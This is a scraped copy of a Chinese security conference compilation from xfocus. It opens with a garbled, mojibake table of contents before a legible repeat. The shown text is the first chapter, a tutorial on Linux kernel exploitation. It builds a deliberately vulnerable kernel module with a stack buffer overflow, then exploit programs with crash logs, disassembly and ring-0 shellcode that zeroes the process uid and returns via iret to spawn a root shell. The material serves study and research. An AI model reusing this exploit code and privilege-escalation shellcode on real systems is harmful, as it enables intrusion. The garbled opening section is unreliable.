xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web...

213
© 版 版 版 版 1999-2003 版版版版版 ,, http://www.xfocus.org [ 目目 ] 目目 Linux Kernel Exploit 目目目目目 ................. 4 版版........................................................4 版版 版版 kernel exploit 版版版版..................................5 版版版 版版 exploit 版版版版 exploit 版版版.............................6 版版版 版版 exploit 版版版版........................................7 版版版 版版 exploit 版版版.........................................9 版版版 版版版版版版版 Kernel Buffer OverFlow....................10 版版版 版版版版版版版版版版 Kernel Format String Vulnerability.....28 版版版 版版版版版版版版(Kernel Integer Overflow)....................41 版版版 版版 kfree()版版版版(Kernel Kfree Parameter Corruption)....44 版版版 版版版版版版版版 Kernel Program Logic Vulnerability.......51 版版版 TCP/IP 版版版版版版版.......................................53 版版.......................................................70 版版.......................................................70 版版版版.....................................................70 目目目 目目目 () ..................................... 71 版版.......................................................71 版版 版 版版版 () ...................................................71 版版版 版版版版版版版版版............................................72 版版版 版版版版版版版版 SHELLCODE...................................79 版版版 版版...................................................82 目目目 HP-UX 目目目目目目 ............................. 87 版版 HP-UX 版版...............................................87 版版版 PA 版版版版..............................................88 版版版 版 (Run-time Architecthure)..........................93 版版版 版版版版版版..............................................106 版版版 版版版版版版版版............................................111 版版版 版版版版................................................113 目目目 DDOS 目目目目目目目 ............................ 114 版版 XFocus’s DDOS Research Project.......................114 版版......................................................114 版版 版版...................................................114 版版版 DDOS 版版版版版版版........................................114 版版版 版版版版版版版版版版版.........................................116 版版版 版 ..................................................123 版版版 版版 IP 版版版版版..........................................125 版版版 版 ()................................................130 版版版 Reference...........................................131 http://www.xfocus.org http://www.xfocus.net 1 目 目 213

Transcript of xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web...

Page 1: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

[ 目录 ]

第一篇 Linux Kernel Exploit 研究和探索 ........................................ 4 引言.......................................................................................................4第一节 研究 kernel exploit的必要性.........................................................5第二节 内核 exploit和应用层 exploit异同点..............................................6第三节 内核 exploit背景知识....................................................................7第四节 内核 exploit的种类.......................................................................9第五节 内核缓冲区溢出(Kernel Buffer OverFlow)................................10第六节 内核格式化字符串漏洞(Kernel Format String Vulnerability)......28第七节 内核整型溢出漏洞(Kernel Integer Overflow)................................41第八节 内核 kfree()参数腐败(Kernel Kfree Parameter Corruption)..........44第九节 内核编程逻辑错误(Kernel Program Logic Vulnerability)...........51第十节 TCP/IP协议栈溢出漏洞................................................................53后记.....................................................................................................70感谢.....................................................................................................70参考资料..............................................................................................70

第二篇 溢出植入型木马(后门)的原型实现 ............................... 71 申明.....................................................................................................71第一节 溢出植入型木马(后门)的基本思路..............................................71第二节 通用溢出漏洞的植入....................................................................72第三节 通用的远程溢出的 SHELLCODE....................................................79第四节 阐发..........................................................................................82

第三篇 HP-UX 溢出程序编写 .......................................................... 87 第一节 HP-UX简介................................................................................87第二节 PA芯片简介...............................................................................88第三节 运行时体系结构(Run-time Architecthure)...................................93第四节 溢出利用点滴............................................................................106第五节 溢出程序实例分析.....................................................................111第六节 参考资料..................................................................................113

第四篇 DDOS 攻防与追踪技术 ..................................................... 114 关于 XFocus’s DDOS Research Project..............................................114前言...................................................................................................114第一节 简介........................................................................................114第二节 DDOS攻击技术的讨论...............................................................114第三节 拒绝服务攻击的防御技术............................................................116第四节 基于统计分析的指纹识别方法......................................................123第五节 欺骗 IP攻击的追踪....................................................................125第六节 反向散射分析(分布被动取样监控)............................................130第七节 Reference...............................................................................131

第五篇 内核后门实现及其检测 ..................................................... 133

http://www.xfocus.org , http://www.xfocus.net 第 1页 共 218页

Page 2: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第六篇 浅析反病毒引擎 ................................................................. 140 引言...................................................................................................140第一节 反病毒引擎的产生.....................................................................140第二节 解读商用引擎............................................................................142第三节 流派和工程化问题.....................................................................144

第七篇 Linux 端口复用技术简述 .................................................. 146 第一节 涉及到的内容............................................................................146第二节 设计方案..................................................................................146第三节 通过过滤系统调用实现端口复用...................................................147第四节 参考资料..................................................................................153

第八篇 应用 SMB/CIFS 协议 ......................................................... 154 第一节 本文的目的...............................................................................154第二节 什么是 SMB/CIFS协议?............................................................154第三节 建立一个空会话........................................................................155第四节 一个简单的例子........................................................................163第五节 参考........................................................................................186第六节 一点说明..................................................................................187

第九篇 SocksCap 的简单实现 ....................................................... 188 第一节 原理分析..................................................................................188第二节 API拦截...................................................................................188第三节 DLL注入..................................................................................189第四节 简单实现..................................................................................190

第十篇 FreeBSD 私有文件系统的制作 ......................................... 195 第一节 问题的提出...............................................................................195第二节 讨论........................................................................................195第三节 探索........................................................................................195第四节 提示........................................................................................197

第十一篇 智能化安全策略探索 -- 对于网络扫描防御的实现 ...... 199 第一节 简介........................................................................................199第二节 概念与研究目的........................................................................199第三节 对于 SDD算法的探索................................................................200第四节 测试与比较...............................................................................203第五节 结论........................................................................................205参考文献............................................................................................206感谢...................................................................................................206

第十二篇 计算机病毒特征码提取分析 ......................................... 207 说明...................................................................................................207第一节 特点........................................................................................207第二节 CIH病毒的初始化.....................................................................207

http://www.xfocus.org , http://www.xfocus.net 第 2页 共 218页

Page 3: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第三节 病毒发作条件判断.....................................................................208第四节 病毒的破坏...............................................................................208

http://www.xfocus.org , http://www.xfocus.net 第 3页 共 218页

Page 4: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第一篇 Linux Kernel Exploit研究和探索作者:alert7 < [email protected] >时间:2002-11-14更新时间:2002-11-28版本:0.0.2

引言Exploit技术发展至今,应用层的 exploit技术碌碌续续的被人挖掘出来,然而

kernel级别的 exploit技术一直没有浮出水面…经常听到有人问内核级别的 exploit到底和应用层的 exploit有哪些不同;如何定位溢出

点和定位 shellcode地址等等。希望通过这篇文章,你能找到上面问题的答案,并且自己也能够写出内核级别的 exploit。文章取名为《linux kernel exploit研究和探索》也正是因为本身该技术也在研究和探索阶段,加上作者水平本身有限,不足和错误的地方难免不会出现。还请各位大侠斧正,欢迎来信交流。本文章纯粹技术交流,作者申明:使用上面的技术搞破坏的话,一切责任由自己承当。

http://www.xfocus.org , http://www.xfocus.net 第 4页 共 218页

Page 5: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第一节 研究 kernel exploit的必要性①:因为 kernel是跑在核心层的,LINUX 的 KERNEL更是跑在 ring 0下,也就是只要 KERNEL有一点问题,导致的问题就非同小可了。小则 KERNEL崩溃,大则可能被内核高手利用得到 ring 0的控制权。这可比应用层的UID为 0的时候权限大的多得多。

②:国外一些组织和个人已经在 LINUX KERNEL EXPLOIT方面做了许多探索和研究。比如 LSD在 5th Argus Hacking Challenge上就用到了 solaris的一个 kernel的 LDT的 BUG获得了大赛的冠军,虽然在上面装了 Pitbull 系统---B1级别的安全操作系统。又比如前段时间 Silvio Cesare ( [email protected])、Solar Designer ([email protected])等等人发现的一系列的 LINUX Kernel 2.4.X上的漏洞。再者最近真真假假的 ABfrag.c,号称是 Linux Kernel ( <= 2.4.20pre20 ) Remote Syncing exploit。在这里,我们也不必去关心上面的 ABfrag.c是真是假了,都没有太大的意义。所有上面表明,国外的对 kernel exploit的研究探索已经步入一个新的阶段了。国内这方面的工作也需要迎头赶上,写这篇文章的目的,也就在于抛砖引玉。如有关 linux kernel exploit技术探讨的,欢迎 email:[email protected] 或者是 [email protected] .

③:linux产品应用广泛。现在国内外许多嵌入式系统,安全产品(比如国内许多的ids,firewall等等)用的操作系统都是 linux,再者基于 linux kernel做的一些安全操作系统,安全加固软件。所有这些,都是以 linux kernel为基石的,一但 linux的核心出了点什么问题,所有基于核心做的加固、安全措施就如同虚设。

④:暂时就想到这么多了

http://www.xfocus.org , http://www.xfocus.net 第 5页 共 218页

Page 6: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第二节 内核 exploit和应用层 exploit异同点

2.1 相同点:①:内核层的 exploit和应用层的 exploit的方法类似,也就是说应用层容易出问题的地方内核中也容易出问题。

②:内核漏洞种类和应用层的差不多。③:应用层的 exploit技术是内核 exploit技术的基础,显然没有搞明白应用层 exploit技术就想搞明白内核 exploit技术是不太可能,所以建议读者先了解了应用层的exploit技术再来看这篇文章。

2.2 不同点①:最最明显的不同就是内核的 exploit是在内核中也就是内核态 RING0级,应用层的

exploit是在应用层 RING3级。这听起来就好象是废话,但确是道出了他们的本质不同。

②:因为内核 exploit所在的环境差(因为是在内核中),exploit 成功将变的非常困难。应用层的 exploit 环境多好了,一马平川(在应用层看来,它有 4G的内存空间可用),而且不必考虑的太多东西。

③:对研究内核 exploit的人提出了更高的要求。④:应用层的 exploit国内外人已经研究的差不多了。但内核 exploit的却没有什么资料;应用层的 exploit你可以站在巨人的肩膀上,而内核级别的 exploit 却需要你从头做起,慢慢探索。

http://www.xfocus.org , http://www.xfocus.net 第 6页 共 218页

Page 7: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第三节 内核 exploit背景知识研究KERNEL的 EXPLOIT技术需要对 LINUX内核和X86的保护模式比较熟悉,倘若

您没有这方面的基础的话,我们也会您准备了一些背景知识。您也可以先跳过该节,等到相关的部分再回过来看。

3.1 背景知识一:中断函数的进入和返回过程保护模式下:在执行 INT 指令时,实际完成了以下几条操作:

1. 于 INT 指令发生了不同优先级之间的控制转移,所以首先从 TSS(任务状态段)中获取高优先级的核心堆栈信息(SS和 ESP);

2. 把低优先级堆栈信息(SS和 ESP)保留到高优先级堆栈(即核心栈)中; 3. 把 EFLAGS,外层 CS,EIP 推入高优先级堆栈(核心栈)中。 4. 通过 IDT加载 CS,EIP(控制转移至中断处理函数)在 iret 返回时候假如NT=1的话,IRET 指令就反转 CALL或者 INT的操作,这样引起一次任务切换。这时候执行 IRET的指令代码,更新之后放在任务状态段内。

3.2 背景知识二:核心堆栈指针 ESP和进程内核 task的关系当然,最好的资料就是 LINUX KERNEL的源代码,我们可以查看源代码来看看他们

的关系。static inline struct task_struct * get_current(void){

struct task_struct *current;__asm__("andl %%esp,%0; ":"=r" (current) : "0" (~8191UL));return current;

} #define current get_current()

每个进程在内核中有个内核堆栈,共占 2 页,也就是 8192个字节,在这堆栈底部,是该进程的 struct task_struct 结构。所以我们在内核中使用 current就可以访问到该进程的 struct

http://www.xfocus.org , http://www.xfocus.net 第 7页 共 218页

Page 8: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

task_struct。

3.3 背景知识三:什么叫进程内核路径一条内核控制路径由运行在内核态的指令序列组成,这些指令处理一个中断或者一个

异常。当进程发出一个系统调用的请求时,由应用态切换到内核态。这样的内核控制路径被成为进程内核路径,也叫进程上下文。当 CPU 执行一个与中断有关的内核控制路径的时候,被成为中断上下文。

3.4 背景知识四:CPU的所处路径上面 3.3上我们已经提到过一点了,现在我们就来更明确下,在任何时候,CPU 总是

处于下面四个路径之一:①处理硬件中断,此时不跟任何进程相关联②处理软中断(softirqs),tasktets和 BH,不跟任何进程相关联③运行在内核空间,关联着一个进程④运行着用户空间的一个进程

第③种情况就是我们说的进程内核路径

http://www.xfocus.org , http://www.xfocus.net 第 8页 共 218页

Page 9: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

http://www.xfocus.org , http://www.xfocus.net 第 9页 共 218页

Page 10: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第四节 内核 exploit的种类正如第二节我们看到的,内核 exploit的种类和方法以及容易出错的地方都跟应用层差

不多。只能说差不多,毕竟内核的东西跟应用层的东西不太一样。好了,现在我们来明确下内核 exploit有哪些。

4.1 按漏洞类型分,大致可分为以下五种

①内核缓冲区溢出(kernel BOF)②内核格式化字符串漏洞(kernel format string vul)③内核整型溢出漏洞(kernel integer overflow)

④内核 kfree()参数腐败(kernel kfree parameter corruption)

⑤内核编程逻辑错误(kernel program logic error)

4.2 按漏洞发生处在的路径分,大概可分为两类

①漏洞发生在内核进程路径上,也称进程上下文②漏洞发生在软中断或者硬中断上下文(请参考背景知识四:CPU的所

处路径)如果安漏洞类型分是不是跟应用层的差不多啊,呵呵,好了,下面我们先来逐个看看

在内核进程路径上发生的那些内核的漏洞类型,我们如何 exploit 那些漏洞。当然现在是感念性的东西,所以有漏洞的 kernel也是自己的程序造成的,我们使用内核提供的 LKM 机制来构造我们的实验环境。也许您对漏洞的分类有另外的看法,这里只是比较通用的分类,也比较笼统,也欢迎

您来信交流。

http://www.xfocus.org , http://www.xfocus.net 第 10页 共 218页

Page 11: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

第五节 内核缓冲区溢出(Kernel Buffer OverFlow)

5.1 构造例子程序 kbof.c

还是实例能说明问题,我们先来看看我们构造的 kbof.c 程序吧/*kbof.c test kernel buffer overflow Vulnerability * --- alert7 < [email protected] > *gcc -O3 -c -I/usr/src/linux/include kbof.c */

#define MODULE#define __KERNEL__#include <linux/kernel.h>#include <linux/module.h>#include <asm/unistd.h>#include <asm/uaccess.h>#include <sys/syscall.h>#include <linux/slab.h>

#define __NR_function 240 //linux not use

extern void* sys_call_table[];

int (*old_function) (void );

asmlinkage int test(unsigned int len,char * code) { char buf[256]; //strcpy(buf,code);

memcpy(buf,code,len);

}asmlinkage int new_function(unsigned int len, char * buf) { char * code = kmalloc(len, GFP_KERNEL);

if (code ==NULL) goto out;

if (copy_from_user(code, buf, len)) goto out;

http://www.xfocus.org , http://www.xfocus.net 第 11页 共 218页

Page 12: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

test(len,code);out: return 0;}

int init_module(void) { old_function = sys_call_table[__NR_function]; sys_call_table[__NR_function] = new_function; printk("<1>kbof test loaded...\n"); return 0;}

void cleanup_module(void) { sys_call_table[__NR_function] = old_function; printk("<1>kbof test unloaded...\n");}[root@redhat73 test]# gcc -O3 -c -I/usr/src/linux/include kbof.c[root@redhat73 test]# insmod -f kbof.oWarning: kernel-module version mismatch kbof.o was compiled for kernel version 2.4.18-3custom while this kernel is version 2.4.18-3Warning: loading kbof.o will taint the kernel: no licenseWarning: loading kbof.o will taint the kernel: forced load[root@redhat73 test]# lsmod|grep kbofkbof 1040 0 (unused)

5.2 内核缓冲区溢出(Kernel BOF)所要解决的问题1:确定 RETLOC的地址

RETLOC一般是这样一个地址:修改该地址可以改变程序的流程就 BUFFER OVERFLOW来说,就说找到函数的返回地址

2: 确定 RETADDR的地址RETADDR一般是 shellcode代码地址

3:SHELLCODE该做点什么呢因为在内核中了,所以就跟应用层的 SHELLCODE就不一样了

4 :从内核态返回到应用态因为溢出的时候是在内核态,所以我们必须使内核能够正确返回到应用态,这样系统才不至于挂掉。

http://www.xfocus.org , http://www.xfocus.net 第 12页 共 218页

Page 13: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

5.3 确定RETLOC的地址先来投石问路,看看情况。溢出测试程序为

[alert7@redhat73 alert7]$ cat kbof_exploit.c/*exploit for kbof.c * --- alert7 < [email protected] > *gcc –o kbof_exploit kbof_exploit.c */

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);

int main(int argc,char **argv){ char code[1024]; unsigned int len; memset(code,'A',1024);

len = 1024;

new_function(len,code); system("/bin/sh");}[alert7@redhat73 alert7]$ gcc -o kbof_exploit kbof_exploit.c[alert7@redhat73 alert7]$ ./kbof_exploitSegmentation fault运行 kbof_exploit,发生了段错误,虽然非法指令出现在内核中,但引起该非法操作的路径是进程内核路径,所以内核只是杀掉了该进程,并且打印了 oops错误,如果发生在其他路径上,很有可能系统就崩溃掉了。OOPS信息如下:Oct 24 09:33:19 redhat73 kernel: Unable to handle kernel paging request at virtual address 41414141

Oct 24 09:33:19 redhat73 kernel: printing eip:

Oct 24 09:33:19 redhat73 kernel: 41414141

Oct 24 09:33:19 redhat73 kernel: *pde = 00000000

Oct 24 09:33:19 redhat73 kernel: Oops: 0000

http://www.xfocus.org , http://www.xfocus.net 第 13页 共 218页

Page 14: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

Oct 24 09:33:19 redhat73 kernel: kbof pcnet32 mii usb-uhci usbcore BusLogic sd_mod scsi_mod

Oct 24 09:33:19 redhat73 kernel: CPU: 0

Oct 24 09:33:19 redhat73 kernel: EIP: 0010:[<41414141>] Tainted: PF

Oct 24 09:33:19 redhat73 kernel: EFLAGS: 00000282

Oct 24 09:33:19 redhat73 kernel:

Oct 24 09:33:19 redhat73 kernel: EIP is at Using_Versions [] 0x41414140 (2.4.18-3)

Oct 24 09:33:19 redhat73 kernel: eax: 00000400 ebx: c3877c00 ecx: 00000000 edx: bffffb60

Oct 24 09:33:19 redhat73 kernel: esi: 41414141 edi: 41414141 ebp: 41414141 esp: c18effa4

Oct 24 09:33:19 redhat73 kernel: ds: 0018 es: 0018 ss: 0018

Oct 24 09:33:19 redhat73 kernel: Process kbof_exploit (pid: 694, stackpage=c18ef000)

Oct 24 09:33:19 redhat73 kernel: Stack: 41414141 41414141 41414141 41414141 41414141 41414141 41414141

41414141

Oct 24 09:33:19 redhat73 kernel: 41414141 41414141 41414141 41414141 41414141 41414141 41414141

41414141

Oct 24 09:33:19 redhat73 kernel: 41414141 41414141 41414141 41414141 41414141 41414141 41414141

Oct 24 09:33:19 redhat73 kernel: Call Trace:

Oct 24 09:33:19 redhat73 kernel:

Oct 24 09:33:19 redhat73 kernel: Code: Bad EIP value.

找寻溢出点使用 objdump 查看 kbof 汇编代码00000000 <test>: 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi 5: 81 ec 00 01 00 00 sub $0x100,%esp b: 8b 45 08 mov 0x8(%ebp),%eax e: 89 c1 mov %eax,%ecx 10: 8b 75 0c mov 0xc(%ebp),%esi 13: 8d bd f8 fe ff ff lea 0xfffffef8(%ebp),%edi 19: c1 e9 02 shr $0x2,%ecx 1c: f3 a5 repz movsl %ds:(%esi),%es:(%edi) 1e: a8 02 test $0x2,%al 20: 74 02 je 24 <test+0x24> 22: 66 a5 movsw %ds:(%esi),%es:(%edi) 24: a8 01 test $0x1,%al 26: 74 01 je 29 <test+0x29> 28: a4 movsb %ds:(%esi),%es:(%edi) 29: 81 c4 00 01 00 00 add $0x100,%esp 2f: 5e pop %esi 30: 5f pop %edi 31: 5d pop %ebp 32: c3 ret 33: 90 nop

http://www.xfocus.org , http://www.xfocus.net 第 14页 共 218页

Page 15: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

从上面可以看到:我们可以覆盖到 EIP,EBP。却不能修改 ESP。

(内存高址) / +--------------------+

/ | ...... | code地址 / +--------------------+

调用函数 new_function 栈帧 | xx | len 长度 \ +--------------------+ \ | EIP | 调用函数的返回地址 \+--------------------+ /| EBP | / +--------------------+ --ebp / | EDI | / +--------------------+ s+4 被调用函数栈帧 | ESI | \ +--------------------+ s \ | BUF[256] |256个 bytes \ +--------------------+ \| ...... | +....................+ | ...... | (内存低址)

如上可以看到 retloc在 code[256+8+4]的地方,现在修改代码如下/*exploit for kbof.c* --- alert7 < [email protected] > *gcc -o kbof_exploit kbof_exploit.c */

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);

int main(int argc,char **argv){ char code[1024]; unsigned int len;

http://www.xfocus.org , http://www.xfocus.net 第 15页 共 218页

Page 16: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

memset(code,'A',1024); len = 256+8+4+4; memset(&code[256+8+4],'B',4);

new_function(len,code); system("/bin/sh");}[alert7@redhat73alert7]$gcc –o kbof_exploit kbof_exploit.c [alert7@redhat73 alert7]$ ./kbof_exploitSegmentation faultOK,查看信息Oct 24 10:11:10 redhat73 kernel: <1>Unable to handle kernel paging request at virtual address 42424242

Oct 24 10:11:10 redhat73 kernel: printing eip:

Oct 24 10:11:10 redhat73 kernel: 42424242

Oct 24 10:11:10 redhat73 kernel: *pde = 00000000

Oct 24 10:11:10 redhat73 kernel: Oops: 0000

Oct 24 10:11:10 redhat73 kernel: kbof pcnet32 mii usb-uhci usbcore BusLogic sd_mod scsi_mod

Oct 24 10:11:10 redhat73 kernel: CPU: 0

Oct 24 10:11:10 redhat73 kernel: EIP: 0010:[<42424242>] Tainted: PF

Oct 24 10:11:10 redhat73 kernel: EFLAGS: 00000282

Oct 24 10:11:10 redhat73 kernel:

Oct 24 10:11:10 redhat73 kernel: EIP is at Using_Versions [] 0x42424241 (2.4.18-3)

Oct 24 10:11:10 redhat73 kernel: eax: 00000110 ebx: c2a69e00 ecx: 00000000 edx: bffff870

Oct 24 10:11:10 redhat73 kernel: esi: 41414141 edi: 41414141 ebp: 41414141 esp: c2ba1fa4

Oct 24 10:11:10 redhat73 kernel: ds: 0018 es: 0018 ss: 0018

Oct 24 10:11:10 redhat73 kernel: Process kbof_exploit (pid: 730, stackpage=c2ba1000)

Oct 24 10:11:10 redhat73 kernel: Stack: 00000110 c2a69e00 00000110 c2a69e00 c2ba0000 40013020 bffff738

c0108923

Oct 24 10:11:10 redhat73 kernel: 00000110 bffff760 00000000 40013020 bffffbd4 bffff738 000000f0

0000002b

Oct 24 10:11:10 redhat73 kernel: 0000002b 000000f0 080484f8 00000023 00000286 bffff730 0000002b

Oct 24 10:11:10 redhat73 kernel: Call Trace: [<c0108923>] system_call [kernel] 0x33

Oct 24 10:11:10 redhat73 kernel:

Oct 24 10:11:10 redhat73 kernel:

Oct 24 10:11:10 redhat73 kernel: Code: Bad EIP value.

OK,现在 EIP为 0X42424242,看来我们的溢出点现在找对了。

http://www.xfocus.org , http://www.xfocus.net 第 16页 共 218页

Page 17: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

5.4 确定RETADDR的地址那么 shellcode地址又是如何可以得到了?以应用程序的地址代替内核中的地址,为什么可以这样做呢?这就需要了解内核了,我们知道保护模式下是开启了页表机制的,一个地址要想能被访问到而不产生页错误的话,那么需要由页表来映射该地址。当由一个软中断陷入到内核中去的话,原来应用层的页表映射是不会被清除的(其实内核自己也要使用那些页表来访问用户空间的数据,还记得 copy_from_user这些函数吧),并且又加上了内核地址空间的映射。所以,我们可以用应用层的地址就可以了,内核一样可以正确寻址到。这样 shellcode也就很容易得到了,shellcode的地址可以从应用层得到。再次强调可以替代的原因是因为发生漏洞的地方是在内核进程路径上。

5.5 我们的 SHELLCODE该做点什么因为漏洞发生是在内核进程路径上,所以我们能够利用 ESP和当前 TASK的关系(详

看背景知识二:核心堆栈指针 ESP和进程内核 task的关系),来使我们自己的进程的 UID变为 0。使得变成 ROOT权限,从而权限得到提升。

0xb8,0x00,0xe0,0xff,0xff, /*mov $0xffffe000,%eax*/0x21,0xe0, /*and %esp,%eax*/0xc7,0x80,0x28,0x01,0x00,0x00,0x00,0x00,0x00,0x00, /*movl $0x0,0x128(%eax) */

说明下:一:因为 SHELLCODE还是在应用程序地址空间内,没有做任何的复制拷贝操作,所

以我们可以不闭忌讳\0的存在。二:0x128是 uid 字段在 task中的偏移量,这样我们就把当前用户的 UID 改成了 0了,

当然这个值可能会因KERNEL版本的不同而不同。

5.6 从内核态返回到应用态OK,现在我们有想法了,既然 retloc和 retaddr都找到了,那写 exploit应该很容易成功

了吧?上面我们已经说过,内核的 exploit 毕竟和应用层的不太一样。你得到了控制权后,又运行了一段 SHELLCODE 代码,你还必须让中断调用返回,这样系统才不至于崩溃掉。因为我们覆盖了内核函数的返回地址,所以我们现在找不到回家的路了。所以我们必须寻找另外的出路,OK,我们会想到替中断返回。如果有什么问题的可以先看看我们的背景知识一。好了,想法有了,我们来实践下吧。/*exploit for kbof.c

http://www.xfocus.org , http://www.xfocus.net 第 17页 共 218页

Page 18: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

* --- alert7 < [email protected] > *gcc -o kbof_exploit kbof_exploit.c */

#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <sys/mman.h>#include <unistd.h>#include <linux/unistd.h>#include <linux/sysctl.h>#define __NR_new_function 240

static inline _syscall2(int, new_function, unsigned int ,len,char * ,code);#define do_execve_addr 0xc0140ea0//#define do_execve_addr 0xffffffff#define NOP 'A'#define IRETARGV_OFFSET 100

char shellcode[]={0xb8,0x00,0xe0,0xff,0xff, /*mov $0xffffe000,%eax*/0x21,0xe0,/*and %esp,%eax*/0xc7,0x80,0x28,0x01,0x00,0x00,0x00,0x00,0x00,0x00,/*movl $0x0,0x128(%eax) */0x89,0xec,//mov %ebp %esp0xcf /* iret */};

void test(void){ system("/bin/sh");}

int getflags(void){ __asm__ (" pushf pop %eax ");

}

int main(int argc,char **argv){ char code[1024]; unsigned int len;

http://www.xfocus.org , http://www.xfocus.net 第 18页 共 218页

Page 19: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

char * iretargv;

memset(code,NOP,1024); memcpy(code,shellcode,sizeof(shellcode));

len = 256+8+4+4; iretargv = &code[IRETARGV_OFFSET];

printf("code addr is:%p\n",code); *(int *)(code+256+8) = (int) iretargv;//覆盖 EBP *(int *)(code+256+8+4) = (int)code;//覆盖 EIP

*(int *)((int)iretargv+8) = getflags();//iret 指令需要的三个参数,应该又 ESP 指向 *(int *)((int)iretargv) = 0x23;//CS *(int *)((int)iretargv+4) = (int)test;//EIP

new_function(len,code);}

编译执行,很不幸运,没有象我们想象的那样出来一个 ROOT的 shell,而是系统崩溃了。太严重了。差点系统都起不来了。也只有看用抓图来看系统报告的错误

注意:上面有点问题,应该是先 EIP CS EFLAGS,所以应该先放 0x80484e0 0x23 0x1286所以上面代码应该改为 *(int *)((int)iretargv+4) = 0x23;//CS *(int *)((int)iretargv) = (int)test;//EIP但这现在也变的不是关键问题了。

http://www.xfocus.org , http://www.xfocus.net 第 19页 共 218页

Page 20: xfocus_conference_doc - pudn.comread.pudn.com/downloads191/doc/899672/xfocus_con… · Web view关于 XFocus’s DDOS Research Project 114 前言 114 第一节 简介 114 第二节

© 版权所有 1999-2003,安全焦点,http://www.xfocus.org

kbof_exploit 进程已经被切换出去了,但到底有没有切换成功还有待证明。现在问题是我们修改了核心 STACK POINT 也就是 ESP,导致了核心进程(PID=0)跳到了非法的地址,最终导致了系统崩溃。舍身取义

